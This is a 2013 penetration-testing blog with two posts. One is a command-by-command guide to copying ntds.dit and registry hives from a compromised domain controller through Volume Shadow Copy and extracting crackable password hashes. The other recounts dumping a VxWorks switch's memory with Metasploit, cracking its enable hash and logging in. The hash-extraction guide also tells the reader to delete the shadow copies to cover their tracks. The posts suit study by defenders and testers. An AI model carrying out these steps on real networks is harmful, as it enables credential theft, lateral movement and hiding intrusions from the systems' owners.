Tuesday, December 31, 2013

Getting Hashes from NTDS.dit file

Read a writeup from @Mubix about doing this and noticed that some changes had come to the NTDSxtract software which made things a little easier, so I decided to do a write up on on the two versions
Why do you want to do this anyways?
The reason you would want to pull the ntds.dit file from a Domain Controller after you have compromised it is because you do not want to create a new Domain Administrator account (could set off alerts) and need password hashes; or you need a password for another account to access data you want (ie. SQL Server accounts).

Get the ntds.dit and SYSTEM from Volume Shadow Copy on a Domain Controller

1. Vssadmin tool

1.1 List Volume Shadow Copies on the system:

Example: 'vssadmin list shadows' no Shadows Available
C:\>vssadmin list shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line too
(C) Copyright 2001 Microsoft Corp.
No items found that satisfy the query.

1.2. Create a new Volume Shadow Copy of the current drive:

Example: ‘vssadmin create shadow’ copy:
C:\>vssadmin create shadow /for=c:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001 Microsoft Corp.
Successfully created shadow copy for 'c:\'
Shadow Copy ID: {e8eb7931-5056-4f7d-a5d7-05c30da3e1b3}
Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

2. Pull files from the Volume Shadow copy

copy \\?\GLOBALROOT\Device\<SHADOWYCOPY DISK>\windows\<directory>\<File> <where to put file>
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\ntds\ntds.dit .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SYSTEM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SAM .
 [X] Refers to the shadow copy number, in the examples above the latest versions is HarddiskVolumeShadowCopy1 (there could be multiple copies, use the last one listed)
I would also recommend getting a current copy of SYSTEM from the registry just in case.
I have had a couple times where the SYSTEM file from the shadow copy was corrupt.

3. Delete the shadows to cover your tracks:

vssadmin delete shadows /for=<ForVolumeSpec> [/oldest | /all | /shadow=<ShadowID>] [/quiet]
vssadmin delete shadows /for=C: /shadow= e8eb7931-5056-4f7d-a5d7-05c30da3e1b3

4. Optional VSSOwn Script to help with this task:


5. Now that you have the files, it is time to get the hashes

5.1 Utilities needed:

  • libesedb
  • ntdsxtract

5.2 libesedb


Extract the files

# tar -xzvf libesedb-alpha-20120102.tar.gz

Compile/make libesedb

# cd libesedb-20120102
# ./configure
# make
Need to move this somewhere like ‘/usr/local/’
# mv esedbtools/ /usr/local
# cd esedbtools/

esedbexport usage:

Use esedbexport to export items stored in an Extensible Storage Engine (ESE)
Database (EDB) file

Usage: esedbexport [ -c codepage ] [ -l logfile ] [ -m mode ] [ -t target ]
[ -T table_name ] [ -hvV ] source
source: the source file
-c:     codepage of ASCII strings, options: ascii, windows-874,
windows-932, windows-936, windows-1250, windows-1251,
windows-1252 (default), windows-1253, windows-1254
windows-1255, windows-1256, windows-1257 or windows-1258
-h:     shows this help
-l:     logs information about the exported items
-m:     export mode, option: all, tables (default)
'all' exports all the tables or a single specified table with indexes,
'tables' exports all the tables or a single specified table
-t:     specify the basename of the target directory to export to
(default is the source filename) esedbexport will add the suffix
.export to the basename
-T:     exports only a specific table
-v:     verbose output to stderr
-V:     print version

Run esedbexport to extract ntds.dit data :

./esedbexport  -t  <Directory to export data to(will add .export to the end)> <ntds.dit file>
# ./esedbexport  -t ~/ntds ~/ntds.dit
esedbexport 20120102
Opening file.

Exporting table 1 (MSysObjects) out of 11.
Exporting table 2 (MSysObjectsShadow) out of 11.
Exporting table 3 (MSysUnicodeFixupVer1) out of 11.
Exporting table 4 (datatable) out of 11.
Exporting table 5 (link_table) out of 11.
Exporting table 6 (hiddentable) out of 11.
Exporting table 7 (sdproptable) out of 11.
Exporting table 8 (sd_table) out of 11.
Exporting table 9 (quota_table) out of 11.
Exporting table 10 (quota_rebuild_progress_table) out of 11.
Exporting table 11 (MSysDefrag1) out of 11.
Export completed.

Extracted files:

# ls ~/ntdis.export/

5.3 NTDSXtract:

# unzip ntdsxtract_v1_0.zip
# cd NTDSXtract\ 1.0/
To update to the new 1.2 Beta version unzip the contents in side the “NTDSXtract 1.0”
(You might want to rename the directory to just NTDSXtract)
# unzip ntdsxtract_v1_2_beta.zip

Usage for dsuser.py (Version 1.0 and 1.2 Beta)

Ver 1.0
 # python dsusers.py
 Extracts information related to user objects
 usage: dsusers.py <datatable> <linktable> [option]
 --rid <user rid>
 List user identified by RID
 --name <user name>
 List user identified by Name
 --passwordhashes <system hive>
 Extract password hashes
 --passwordhistory <system hive>
 Extract password history
 Extract certificates
 --supplcreds <system hive>
 Extract kerberos keys
 List groups of which the user is a member
Ver 1.2
 # python ../NTDSXtract\ 1.0/dsusers.py 
 DSUsers v1.2
 Extracts information related to user objects
 usage: ../NTDSXtract 1.0/dsusers.py <datatable> <linktable> <work directory> [option]
 The path to the file called datatable extracted by esedbexport
 The path to the file called linktable extracted by esedbexport
 work directory
 The path to the directory where ntdsxtract should store its
 cache files and output files. If the directory does not exist
 it will be created.

 --rid <user rid>
 List user identified by RID
 --name <user name>
 List user identified by Name
     --syshive <path to system hive>
 Required for password hash and history extraction
 This option should be specified before the password hash
 and password history extraction options!
 --lmoutfile    <name of the LM hash output file>
 --ntoutfile      <name of the NT hash output file>
 --pwdformat  <format of the hash output>
 ophc - OphCrack format
 When this format is specified the NT output file will be used
 john - John The Ripper format
 Extract password hashes
 Extract password history
 Extract certificates
 Extract kerberos keys
 List groups of which the user is a member
 --csvoutfile <name of the CSV output file>
The filename of the csv file to which ntdsxtract should write the output

Extract user info:

Ver 1.0
# python dsusers.py ~/ntds.export/datatable.3 ~/ntds.export/link_table.4 --passwordhashes ~/sys --passwordhistory ../sys
Running with options:
Extracting password hashes
Extracting password history
Initialising engine...
Scanning database - 100% -> 40933 records processed
Extracting schema information - 100% -> 4142 records processed
Extracting object links...

List of users:
Record ID:           1815
User name:           Administrator
User principal name: Administrator@DOMAIN
SAM Account name:    Administrator
GUID: 3543ea4c-f755-4758-97c0-3d63dffc96ad
SID:  S-1-5-21-657512695-1375287660-316888650-500
When created:         2004-01-16 19:31:25
When changed:         2013-10-03 16:10:29
Account expires:      Never
Password last set:    2006-08-22 11:53:34.828125
Last logon:           2013-10-03 19:11:25.366397
Last logon timestamp: 2013-09-30 10:43:09.479359
Bad password time     2013-10-03 17:36:20.168265
Logon count:          65535
Bad password count:   0
User Account Control:
PWD Never Expires
$ROOT_OBJECT$ priv DOMAIN main Domain Admins Administrator
Password hashes:
Password history:
Record ID:           1816
User name:           Guest
User principal name:
SAM Account name:    Guest
GUID: 2e792141-c4be-43b2-a4f5-079e5d05e184
SID:  S-1-5-21-657512695-1375287660-316888650-501
When created:         2004-01-16 19:31:25
When changed:         2013-10-03 15:19:28
Account expires:      Never
Password last set:    Never
Last logon:           Never
Last logon timestamp: Never
Bad password time     2013-10-03 18:18:45.096975
Logon count:          0
Bad password count:   1
User Account Control:
PWD Not Required
PWD Never Expires
$ROOT_OBJECT$ priv DOMAIN main Users Guest
Password hashes:
Password history:
....(Continues for each Account)....
Ver 1.2 (Output in JTR Format)
python dsusers.py ~/ntds.export/datatable.3  ~/ntds.export/link_table.4 ~/TEMP  --passwordhashes --passwordhistory --lmoutfile LM.out --ntoutfile NT.out --pwdformat john --syshive ~/SYSTEM

List of users:
Record ID:           32777
User name:           joe smith
User principal name: email@address.net
SAM Account name:    jsmith
GUID: 14c15e2a-8f7c-4404-a63c-cb6a4c689c00
SID:  S-1-5-21-349701255-3731294407-2303513147-3800
When created:         2005-06-01 13:50:37
When changed:         2013-12-12 15:08:12
Account expires:      Never
Password last set:    2013-10-07 13:20:19.146593
Last logon:           2013-12-11 18:35:10.166785
Last logon timestamp: 2013-12-12 15:08:12.281517
Bad password time     2013-12-11 00:04:52.446209
Logon count:          6239
Bad password count:   0
User Account Control:
$ROOT_OBJECT$ local DOMAIN JOB Users joe smith
Password hashes:
....(Continues for each Account)....
Version 1.2 allows you to extract the hashes into two files, one for LM hashes the other for NT hashes, and currently supports two hash output types; Ophcrack and John.

Wednesday, December 4, 2013

VxWorks Memory Dump

While running an internal vulnerability scan I noticed that one of the devices was showing vulnerable to VxWorks Memory Dump.
This is exploitable by using the Metasploit wdbrpc_memory_dump module, so I fired it up and loaded the module to see if I could pull the memory from this device.
I run the exploit against the system and it began dumping the memory, and it got to about 31% before stopping, so I had to restart it from the OFFSET value it stopped at. This happened 3 more times before it finished. The output file was about 256MB in size, so I was not sure if it had good information from the system or just crap.
Being that it was a hex dump of the memory, I ran strings against the file to get a list of information and look for possible information to use. I put the output into another file to search through with “grep”.
            #strings vxworks_memory.dmp > strings.memory.dmp
I was able to determine that it was a network switch from viewing the IP address on port 80 (looked back at Nessus to see what ports where open and what it thought the device was), so I decided to search for words like “password”, “enable”, and “encryption”.
At first nothing showed up that was any good or valuable to use, so I decided to search for partial words, like “assw”, “able” and “crypt” to see if the words had been split across lines in the memory dump.
            #cat strings.memory.dmp | grep -i assw
            #cat strings.memory.dmp | grep -i crypt
I discovered that the enable hash was in the dump, so I guessed that the password could also be stored in there as well.
Taking the new file from the strings output (strings.memory.dmp), I ran it through “sort” with the unique flag and output that into another file to use as my password list starting point.
            #cat strings.memory.dmp | sort –u > passlist.list
With new list of possible passwords, and hoping that one copy of it was completely intact and not split across a line. I ran it through PW-Inspector to narrow it down to a more manageable number and realistic passwords and an actual realistic length.
            #pw-inspector –I passlist.list –o passlist.uniq.list –lunps –m 8 –M 16
Now that I had narrowed the password list down to a more manageable solution, I ran John against the hash with the shorter list.
In no time at all I had the password for the hash, the switch was not Cisco and was only using an MD5 hash, which made it rather simple to crack.
Now that I had the password, I needed to search for a user name. So I started searching for common names in the file, and admin came back multiple times with the word user next to it, so with a little searching on Google, I discovered that admin was the default user on this switch.
From there I tried to SSH to the switch, but was denied due to the use of private keys and not passwords for SSH, so I tried telnet to connect to the switch and was able to login.
From there I had access to see all of the other VLANS, and IP address space that I did not have access to before. Now time to see where  else the password is used.